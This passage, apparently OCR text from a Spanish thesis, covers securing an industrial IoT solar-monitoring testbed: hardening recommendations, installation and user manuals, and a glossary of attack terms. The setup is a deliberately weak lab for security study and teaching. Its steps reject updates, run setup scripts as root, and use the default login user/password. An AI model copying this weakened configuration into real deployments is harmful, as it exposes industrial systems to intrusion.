= Separar el sistema en tres componentes: Aunque la conexién entre el componente IT y el
OT se puede realizar directamente, es cierto que lo mas recomendable es afiadir en medio un
Gateway IoT. Esta pasarela constituye una primera linea de defensa para los dispositivos OT
que por definicion no estan disefiados para ser seguros.

= Red interna IoT aislada: Los componentes que conforman la infraestructura IoT deben es-
tar dentro de una misma red aislada y sin conexion directa a Internet. Los elementos OT y el
Gateway IoT no necesitan conexion directa a Internet porque utilizan al componente IT, que
esta expuesto a la Red y también conectado a la red interna IoT, como puerta de salida. Esto
afiade una capa de seguridad ya que desde fuera es imposible llegar a la red IoT sin utilizar el
componente I'T como puente.

= Dispositivos actualizadoes: Es necesario tener todos los componentes de la red actualizados
para evitar ataques basados en vulnerabilidades conocidas (CVE). Si no es posible actualizar
algunos sistemas por alguna razén como, por ejemplo, la compatibilidad ciertos programas, es
necesario ser consciente del riesgo y afiadir por delante alguna linea de defensa adicional como,
por ejemplo, un firewall.

= Politica de permisos restrictiva: La politica de permisos tanto de los usuarios del sistema como
de la base de datos debe ser lo mas restrictiva posible manteniendo la funcionalidad necesaria.
De no ser asi, nos arriesgamos a que un usuario realice acciones que no deberia poder hacer, lo
que implica un gran riesgo en términos de seguridad.
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= Intentar no ejecutar programas como root: Dentro de las posibilidades se recomienda no
ejecutar programas como root dado que, si logran vulnerarlo para ejecutar comandos del sistema,
dispondrian de todos los privilegios necesarios para hacer lo que quisieran.

= No utilizar inicamente el usuario root: Aunque existan dispositivos como el Gateway [oT en
el que solo es necesario un usuario del sistema, no es recomendable que el unico sea el usuario
root. Ya que, si comprometen el sistema, tendrian todos los privilegios a su disposicion.

= Validar todos los campos: Es imprescindible validar lo que se introduce en los campos de texto
antes de construir una consulta SQL o ejecutar comando del sistema. De no hacerlo, corremos
el riesgo de que nos inyecten codigo o modifiquen la consulta SQL que hemos establecido.

= Comunicacion segura: Es fundamental que la comunicacién entre los componentes del sistema
esté encriptada para evitar ataques de tipo Man-in-the-Middle (MITM) en los que un interme-
diario es capaz de interceptar e interpretar los mensajes.

= No utilizar credenciales predecibles: Es importante no utilizar credenciales de acceso por
defecto o sencillas de adivinar mediante un simple ataque por fuerza bruta utilizando alguno de
los multiples diccionarios estan disponibles en la Red.

= Pentesting periddico: Con el fin de encontrar vulnerabilidades que afecten a nuestros sistemas
IoT, es interesante someterlos a test de penetracion periddicos.

9.2 Trabajo futuro

Tras el desarrollo de la Practica en Empresa y de este Trabajo de Fin de Grado en Fundacion CI-
DAUT, he aprendido a ser consciente tanto de la importancia de disponer de una politica de seguridad
que garantice la integridad, confidencialidad y disponibilidad de los sistemas de control industrial; co-
mo del valor que tienen este tipo de infraestructuras caracterizadas que se construyen especificamente
para realizar este tipo de estudios de vulnerabilidades de ciberseguridad. Por este motivo, la idea de
trabajo a futuro se centra en los dos siguientes puntos:

= Mejorar esta infraestructura para que parezca atin mas real utilizando un sitio web mas elabo-
rado, disponiendo de més funcionalidades, contando con dispositivos reales en vez de virtuali-
zados, etc.

» Utilizar esta infraestructura a modo de honeypot que nos permita extraer conocimiento sobre
sobre técnicas, tacticas y procedimientos que utilizan los atacantes para comprometer sistemas
de control industrial.
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Manual de Instalacion

En este capitulo, se detallara como realizar la instalacién y puesta en marcha del escenario que se
ha desarrollado para la prueba de concepto. Este escenario, formado por tres componentes (Servidor
Web, Gateway loT y PLC-Sim) esta virtualizado por lo que en primer lugar hay que instalar un soft-
ware de virtualizacién. En este caso, se ha optado por utilizar Oracle VM VirtualBox, un software de
codigo abierto, gratuito y multiplataforma (Windows, GNU/Linux, Mac OS). Para instalarlo simple-
mente hay que seguir los pasos que se detallan en su pagina web [80].

A partir de este momento, dividiremos el manual de instalacion en tres secciones, una para cada
uno de los componentes del sistema.

Instalacion del Servidor Web

Para poner en marcha la maquina virtual que acttia de servidor web hay que seguir los siguientes
pasos:

1. Descargaremos la imagen ISO de Ubuntu Server 18.04.5 [78].

2. Abriremos VirtualBox y pulsaremos sobre el boton New o Nueva (dependiendo del idioma en
que este configurado el equipo anfitrién). Pondremos el nombre que deseemos a la maquina,
indicaremos que se trata de un Linux y que la distribucion es Ubuntu (64-bit). Dejaremos el
resto de la configuracion por defecto.

3. Una vez hecha la primera configuracion de la maquina, vamos cambiar los ajustes de red. Para
ello, hacemos click sobre la maquina y presionamos Settings o Configuraciéon. Nos vamos a
la opcién de Network o Red y configuraremos el primer adaptador como Bridged Adapter o
Adaptador Puente y el segundo adaptador como Internal Network o Red Interna. El nombre de
la red interna sera intnet.

4. Ahora iniciamos la maquina y nos pedira seleccionar un disco de inicio. En este momento es
cuando tenemos que seleccionar la imagen de Ubuntu Server 18.04.5 que nos hemos descargado
y presionar en Start.

5. En la configuracion inicial de Ubuntu, estableceremos el idioma y distribucién de teclado que
deseemos y dejaremos el resto de opciones tal y como vienen por defecto. Cuando lleguemos
a la configuracion de nuestro perfil, es necesario que el nombre del usuario sea server. Para la
contrasefia y el nombre del equipo no hay ningtin tipo de restriccion. Es importante rechazar
cualquier tipo de actualizacion si se nos pidiese. Una vez finalizada la instalacion se activara un
botdn para poder reiniciar la maquina.
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6. Una vez reiniciada la maquina, iniciaremos sesion y ejecutaremos los siguientes comandos (es

MUY importante ejecutar el ultimo comando como superusuario):

sudo apt update

sudo apt install git mysql-server apache2 python3 python3-pip
python3 -venv libapache2 -mod-wsgi-py3 php libapache2 —mod-php

git clone https:// github.com/fjdcordon/tfg—-servidorweb

cd tfg —servidorweb

sudo ./setup.sh

7. Una vez finalizada la puesta en marcha del servidor web, la méaquina se reiniciara de nuevo.

Cuando vuelva a arrancar tendremos el componente totalmente funcional.

Es MUY importante destacar que el monitor nos dara un error de carga de datos y no funcionara
si alguno de los otros dos componentes (PLC-SIM y Gateway IoT) no esta encendido.

Instalacion del Gateway loT

Para poner en marcha la maquina virtual que acttia de Gateway IoT hay que seguir los siguientes
pasos:

1.

2.

Descargar la imagen de maquina virtual de Arch Linux preparada para VirtualBox [41].

Una vez descargado el archivo, lo descomprimiremos y localizaremos el fichero box.ovf. Ahora,
abrimos VirtualBox abrimos el menu de Archivo o File (dependiendo del idioma en que este
configurado el equipo anfitrion) y haremos click sobre Importar servicio virtualizado o Import
Appliance. Como fuente elegiremos Sistema local o Local File System y elegiremos el men-
cionado archivo box.ovf. Pulsaremos en continuar, pondremos el nombre que deseemos a la
maquina y dejaremos el resto de opciones por defecto.

. Ahora iniciaremos la maquina. Cuando lleguemos a la pantalla de login introduciremos como

usuario y contrasefia vagrant. A continuacion, ejecutaremos el comando sudo passwd y pon-
dremos la contrasefia que deseemos para el usuario root. Después cerraremos sesion con el
comando logout para, posteriormente, volver a iniciar sesion como root con la contrasefia que
acabamos de establecer.

Con la sesién de root iniciada ejecutaremos los siguientes comandos:

localectl set-keymap es

pacman —-Syyu git python-pip

git clone https:// github.com/fjdcordon/tfg —gateway
cd tfg —gateway

./ setup.sh

El primer comando sirve para cambiar el layout del teclado al Espafiol. Se pueden consultar
todos los tipos de layout con el comando localectl list-keymaps.
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5.

6.

Una vez finalizada la ejecucién del script, la maquina se apagara. Antes de volver a encenderla,
es necesario ir a la configuracién de red de la maquina y cambiar el tinico adaptador que tiene
de modo NAT a modo Red Interna o Internal Network. El nombre de la red interna es el que
viene por defecto: intnet.

Ahora volvemos a iniciar la maquina y ya tendremos el componente totalmente funcional.

Es MUY importante destacar que, para que el gateway haga su funcion, al menos el PLC-SIM
debe de estar encendido.

Instalacion del PLC-Sim

Para poner en marcha la maquina virtual que actia de PLC-Sim hay que seguir los siguientes
pasos:

1.
2.

6.

Descargar la imagen de maquina virtual de Arch Linux preparada para VirtualBox [41].

Una vez descargado el archivo, lo descomprimiremos y localizaremos el fichero box.ovf. Ahora,
abrimos VirtualBox abrimos el menu de Archivo o File (dependiendo del idioma en que este
configurado el equipo anfitrion) y haremos click sobre Importar servicio virtualizado o Import
Appliance. Como fuente elegiremos Sistema local o Local File System y elegiremos el men-
cionado archivo box.ovf. Pulsaremos en continuar, pondremos el nombre que deseemos a la
maquina y dejaremos el resto de opciones por defecto.

Ahora iniciaremos la maquina. Cuando lleguemos a la pantalla de login introduciremos como
usuario y contrasefia vagrant. A continuacion, ejecutaremos el comando sudo passwd y pon-
dremos la contrasefia que deseemos para el usuario root. Después cerraremos sesion con el
comando logout para, posteriormente, volver a iniciar sesion como root con la contrasefia que
acabamos de establecer.

Con la sesién de root iniciada ejecutaremos los siguientes comandos:

localectl set—keymap es

pacman —-Syyu git python-pip

git clone https:// github.com/fjdcordon/tfg—-plc
cd tfg —plc

./ setup.sh

El primer comando sirve para cambiar el layout del teclado al Espafiol. Se pueden consultar
todos los tipos de layout con el comando localectl list-keymaps.

. Una vez finalizada la ejecucién del script, la maquina se apagara. Antes de volver a encenderla,

es necesario ir a la configuracién de red de la maquina y cambiar el tinico adaptador que tiene
de modo NAT a modo Red Interna o Internal Network. El nombre de la red interna es el que
viene por defecto: intnet.

Ahora volvemos a iniciar la maquina y ya tendremos el componente totalmente funcional.

Es MUY importante destacar que, para que los otros dos componentes no podran funcionar si este
no esta encendido.
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Manual de Usuario

Tras haber explicado como realizar la instalacion de este sistema de monitorizacion y control de
energia solar que ha servido como escenario para nuestra prueba de concepto, en este capitulo, vamos
a ver como se utiliza.

En primer lugar, deberemos abrir Oracle VM VirtualBox y encender las tres maquinas (Servidor
web, Gateway IoT y PLC-Sim). Iniciaremos sesion en el servidor web con el usuario server y la con-
trasefia que hayamos elegido durante la instalacion. Ahora, ejecutamos el comando ip a y apuntamos
la IP del servidor.

En segundo lugar, desde nuestro equipo anfitrién, abriremos un navegador y escribiremos la si-
guiente url: https://<ip del servidor web>:8443. Nos aparecera por pantalla una advertencia porque el
certificado es autofirmado, pero pulsaremos en continuar.

Una vez dentro de la pagina web, lo primero que nos encontraremos es la pagina de inicio de sesién
(ver figura 9.1). Para entrar al monitor nos tendremos que identificar con usuario y contrasefia. Las
credenciales por defecto son user y password. Se pueden afiadir mdas usuarios en la tabla users de la
base de datos (hay que tener en cuenta que no se almacena la contrasefia en plano, sino su resumen
SHA256).

Monitorizacion de placa solar

Usuario: ‘ ‘

Constrasena: ‘ ‘

| Iniciar Sesion \

Figura 9.1: Pantalla de inicio de sesion de la web

73



Una vez en la pantalla del monitor (ver figura 9.2), podemos ver la energia en generacién en tiempo
real, el estado del sistema (encendido o apagado) y el angulo de inclinacién en que se encuentran las
placas. También podemos encontrar un botén para cambiar el estado del sistema, modificar el angulo
de inclinacion de las placas y cerrar sesion.

Sistema de monitorizacion de placa solar

Estado: Encendido | Apagar

Angulo de la placa: ° | Actualizar

Energia generandose actualmente: 333 W

Figura 9.2: Monitor de control de la instalacion
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Glosario

B

Backend
En el desarrollo web se conoce como Backend o ”lado del servidor” a la parte de la aplicacion
que realiza el procesamiento de la informacion.

C

Controlador Légico Programable (PLC)

Un Controlador Légico Programable es un dispositivo electrénico que tiene como objetivo la
automatizacion de procesos en las industrias, es decir, la monitorizacion y control de maquinaria
en las fabricas.

Cookie

Una cookie es una pequefia informacion enviada por un sitio web que el navegador almacena
para dos principales funciones: recordar accesos y conocer habitos de navegacion.

D

Django
Django es un framework web de alto nivel basado en Python que permite el desarrollo rapido
de sitios web sencillos y seguros.

Driver
Un driver o controlador es un componente de software que permite al sistema operativo esta-
blecer comunicacién con un dispositivo.

F

Frontend
En el desarrollo web se conoce como Frontend o ”lado del cliente” a la parte de la aplicacién
que interactta con los usuarios.

G

Gateway

Un gateway o pasarela es un dispositivo que actta de interfaz para la conexion entre dispositivos
que cuentan con protocolos y arquitecturas diferentes a nivel de comunicacién.
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I

Internet de las Cosas (IoT)

El Internet de las Cosas se refiere a los objetos fisicos que, gracias a sensores y capacidad de
procesamiento, se conectan e intercambian datos con otros dispositivos, principalmente a través
de Internet.

Internet Industrial de las Cosas (I1oT)

El Internet Industrial de las Cosas se refiere a la aplicacién en entornos industriales de dispo-

sitivos del Internet de las Cosas conectados a través de Internet para optimizar la produccion,

aumentando asi la eficiencia y reduciendo los costes de los procesos de fabricacién.
Inyeccion SQL

Una inyeccién SQL (también conocida con SQLi) es un tipo de vulnerabilidad que permite
incrustar codigo SQL paginas web que se apoyan en una base de datos de tipo SQL por una
mala o inexistente validacion de lo que el usuario introduce en los campos de texto.

M

Metodologias agiles

Las metodologias agiles son un modelo iterativo e incremental de desarrollo de proyectos que
proporcionan una gran flexibilidad dado que los requisitos y las soluciones evolucionan con el

tiempo.

N

Nmap
Nmap es un conocido software de codigo abierto para realizar escaneos de puertos, es decir,
detectar el estado de los puertos (abierto, cerrado o filtrado) de una maquina conectada a la
Red. También permite reconocer la version de servicios y sistemas operativos.

P

Pentesting

El pentesting o test de penetracion es una técnica que consiste en realizar una serie de ataques
sobre un sistema informatico con el objetivo de identificar si existen fallos de seguridad y que
alcance tienen.

Protocolo de aplicacion

Un protocolo de aplicaciéon es un protocolo de alto nivel disefiado para la conexién entre una
aplicacién y un servidor. Asi, abre y cierra la conexion; transporta peticiones de servicio y sus
respuestas; e informa de errores. Algunos de los mas comunes son: HTTP, FTP, SMTP, etc.

Protocolo de transporte

Un protocolo de transporte se encarga de transportar los datos de aplicacion segmentados junto
con la informacion necesaria para poder reensamblar las partes cuando lleguen a su destino.
Segtn si estan orientados a conexion o no, tenemos dos tipos principales: TCP, que proporciona
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un flujo de bytes confiable de extremo a extremo; y UDP, que no presenta tanta confiabilidad
pero es mas rapido.

Prueba de Concepto (PoC)

Una Prueba de Concepto es una implementacion de una idea, método, aplicacion o programa
con el propésito de estudiar la viabilidad del concepto o teoria en cuestion. Este tipo de prueba
es muy valiosa a la hora de crear prototipos de funcionamiento operativos y validos.

R

Reverse Shell
Una reverse shell es una técnica, generalmente utilizada por ciberatacantes cuando han encon-
trado una vulnerabilidad que les permite inyectar c6digo sobre una maquina, para obtener una
shell remota de la victima utilizando como base la propia shell que esta ejecutando.

S

SCP
Secure Copy Protocol (SCP) es el nombre tanto de un protocolo de aplicaciéon como del progra-
ma que permite la transferencia de archivos de forma segura entre dos hosts locales o remotos.
Para ello, se conecta al host usando SSH y alli ejecuta un servidor SCP, dado que el protocolo
SCP solo implementa la transferencia de archivos.

Script
Un script es el término con que se conoce en la informatica a un programa simple compuesto
por una secuencia de comandos. Normalmente son ejecutados por un intérprete de comandos
que lee el archivo de codigo fuente al momento.

Shell

Una shell es el término utilizado en el ambito de la informatica para referirse al intérprete de
comandos de un sistemas operativo. Este intérprete de comandos es un programa que permite
interactuar con el sistema procesando las 6rdenes que se le indican.

Sistema Gestor de Bases de Datos (SGBD)

Un Sistema Gestor de Bases de Datos es un software cuya funcién es gestionar y administrar
bases de datos. Esta compuesto por un lenguaje de definiciéon de datos (DDL), un lenguaje de
manipulacion de datos (DML) y un lenguaje de consulta (QL).

Sistemas de Control Industrial (ICS)
Los Sistemas de Control Industrial son aquellos sistemas que se utilizan para la monitorizacion
y control de todo tipo de procesos industriales.

Socket

Se conoce como socket en el ambito de Internet a la implementacion en los principales lenguajes
de programacion de una clase que permite que dos procesos puedan intercambiar un flujo de
datos. De esta manera, constituyen el mecanismo que permite a los procesos enviar y recibir
paquetes de datos mediante la tarjeta de red del equipo.
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Sprint

Un sprint es el término con que se conoce en las metodologias agiles a cada uno de los ciclos
o iteraciones de un proyecto, normalmente de una duracion de 4 semanas, que siempre tiene
como resultado un entregable del producto.

SSH
Secure Shell (SSH) es el nombre tanto del protocolo de aplicacién como del programa que
permite un acceso remoto a una maquina mediante un canal seguro. Su puerto TCP conocido es
el 22 y su uso principal es obtener una shell remota de una maquina de forma segura.
Systemd
Systemd es un conjunto de demonios para la gestion de sistemas y servicios desarrollado en
kernels de Linux. Se encarga de iniciar todo lo que esta bajo el kernel en el arranque del sistema..
T

Tecnologias de la Informacién (IT)

Las Tecnologias de la Informacion son herramientas digitales que nos permiten almacenar, re-

cuperar, transmitir y manipular datos o informacion. Principalmente se refiere a los ordenadores

e Internet, pero también abarca otras tecnologias como la television y los teléfonos.
Tecnologias de Operacion (OT)

Las Tecnologias de Operacién son una combinacion de hardware y software, capaces de soportar
entornos de trabajo muy duros, que tienen como objetivo monitorizar y controlar los procesos
fisicos, principalmente en entornos industriales.

W

Wireshark

Wireshark es un analizador de protocolos (sniffer, en inglés), es decir, que captura y analiza el
trafico de red en tiempo real. Es una herramienta muy completa que cuenta con soporte para
desglosar los campos de multitud de protocolos.
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